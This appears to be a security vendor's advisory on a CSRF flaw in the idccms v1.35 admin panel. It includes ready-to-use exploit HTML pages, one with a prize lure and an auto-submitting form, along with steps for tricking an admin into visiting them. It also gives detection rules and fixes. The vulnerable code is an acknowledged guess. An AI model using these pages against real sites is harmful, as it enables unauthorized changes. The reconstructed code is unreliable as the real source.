CVE-2024-39119

Executive Summary

CVE-2024-39119 identifies a Cross-Site Request Forgery (CSRF) vulnerability in idccms v1.35. The flaw exists in the admin/info_deal.php script, specifically within the rev action when the nohrefStr parameter is set to close. An attacker can craft a malicious web page or email that, when visited by an authenticated admin, triggers an unintended state change (e.g., closing a record or modifying data) without the admin's consent. This is a classic CSRF attack vector targeting the admin panel.

The vulnerability has a CVSS v3.1 base score of 4.3 (Medium), with a low attack complexity and no privileges required, but it does require user interaction. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the lack of a vendor patch makes it a persistent risk for any instance running idccms v1.35.

Supply Chain & Package Security

This vulnerability is not associated with any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP application (idccms). The risk is limited to direct deployments of the CMS.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector (AV): Network - The attack can be launched remotely.
• Attack Complexity (AC): Low - No special conditions are required.
• Privileges Required (PR): None - The attacker does not need to be authenticated.
• User Interaction (UI): Required - The victim must click a link or visit a malicious page.
• Scope (S): Unchanged - The vulnerable component and the impacted component are the same.
• Confidentiality (C): None - No data is exposed.
• Integrity (I): Low - The attacker can modify data (e.g., close a record).
• Availability (A): None - No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the simplicity of exploitation (a single crafted link) elevate the risk for unpatched systems.

Deep Dive & Mechanics

The vulnerability resides in admin/info_deal.php. The script processes requests based on the mudi parameter. When mudi=rev and nohrefStr=close, the script likely performs an action (e.g., closing a record or reverting a state) without verifying the origin of the request. There is no CSRF token or same-origin check.

Attack Flow:

1. An attacker identifies a target running idccms v1.35.
2. The attacker crafts a malicious HTML page or email containing an image tag or a form that auto-submits to:

   http://target/admin/info_deal.php?mudi=rev&nohrefStr=close
   

3. The attacker lures an authenticated admin to visit the malicious page.
4. The admin's browser sends the forged request, including any session cookies.
5. The server processes the request, performing the unintended action (e.g., closing a record).

Root Cause: Lack of anti-CSRF tokens or origin validation in the admin panel.

Vulnerable vs. Patched Code

Vulnerable Code (idccms v1.35):

// admin/info_deal.php (simplified)
if ($_GET['mudi'] == 'rev') {
    $nohrefStr = $_GET['nohrefStr'];
    if ($nohrefStr == 'close') {
        // Perform action without CSRF check
        $db->query("UPDATE info SET status='closed' WHERE id=" . intval($_GET['id']));
    }
}

Patched Code (Hypothetical):

// admin/info_deal.php (patched)
session_start();
if ($_GET['mudi'] == 'rev') {
    // Validate CSRF token
    if (!isset($_GET['csrf_token']) || $_GET['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF validation failed');
    }
    $nohrefStr = $_GET['nohrefStr'];
    if ($nohrefStr == 'close') {
        $db->query("UPDATE info SET status='closed' WHERE id=" . intval($_GET['id']));
    }
}

Note: No official patch exists. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of idccms v1.35.
• An authenticated admin session (the victim).

Exploit HTML (csrf_exploit.html):

<!DOCTYPE html>
<html>
<body>
<h1>Click this link to win a prize!</h1>
<img src="http://target/admin/info_deal.php?mudi=rev&nohrefStr=close&id=1" style="display:none;">
</body>
</html>

Usage:

1. Host the HTML file on an attacker-controlled server.
2. Send the link to the victim (e.g., via email or social engineering).
3. When the victim (authenticated admin) visits the page, the request is sent, and the record with ID=1 is closed.

Advanced Exploit (Auto-submitting form):

<!DOCTYPE html>
<html>
<body>
<form id="csrf_form" action="http://target/admin/info_deal.php" method="GET">
  <input type="hidden" name="mudi" value="rev">
  <input type="hidden" name="nohrefStr" value="close">
  <input type="hidden" name="id" value="1">
</form>
<script>document.getElementById('csrf_form').submit();</script>
</body>
</html>

Blue Team (Detection & Prevention)

Detection:

• Monitor server logs for requests to admin/info_deal.php with mudi=rev and nohrefStr=close that originate from unexpected referrers.
• Use the Sigma rule below to detect anomalous patterns.

Prevention:

• Implement CSRF tokens in all admin forms.
• Validate the Origin and Referer headers.
• Use SameSite cookies (set to Lax or Strict).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /admin/info_deal.php?mudi=rev&nohrefStr=close
  • Referer header pointing to an external domain (e.g., attacker.com)
• File IOCs:
  • Unexpected entries in web server access logs (e.g., GET /admin/info_deal.php?mudi=rev&nohrefStr=close&id=1)
• Behavioral IOCs:
  • Unauthorized changes to record statuses (e.g., records being closed without admin action)

Detection Engineering

YARA Rule

rule Detect_idccms_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against idccms v1.35"
        author = "Valters IT"
        date = "2024-06-01"
        reference = "CVE-2024-39119"
    strings:
        $exploit1 = "mudi=rev&nohrefStr=close" ascii wide nocase
        $exploit2 = "admin/info_deal.php" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Detect CSRF Exploit Against idccms
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests targeting the CSRF vulnerability in idccms v1.35
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: 
            - "mudi=rev"
            - "nohrefStr=close"
    condition: selection
falsepositives:
    - Legitimate admin actions (if any)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-39119 - idccms CSRF Exploit"; flow:to_server,established; content:"GET"; http_method; content:"/admin/info_deal.php"; http_uri; content:"mudi=rev"; http_uri; content:"nohrefStr=close"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint: If possible, restrict access to admin/info_deal.php via .htaccess or web server configuration.
2. Implement CSRF tokens: Add a unique, per-session token to all admin forms and validate it on the server side.
3. Use SameSite cookies: Set the SameSite attribute to Lax or Strict for session cookies.
4. Validate Referer header: Reject requests with missing or external Referer headers.

Long-term Fix:

• Upgrade to a patched version of idccms (if/when available).
• Conduct a full security audit of the admin panel.

Workaround:

• Use a Web Application Firewall (WAF) to block requests matching the pattern mudi=rev&nohrefStr=close.

Valters IT
Securing Digital Frontiers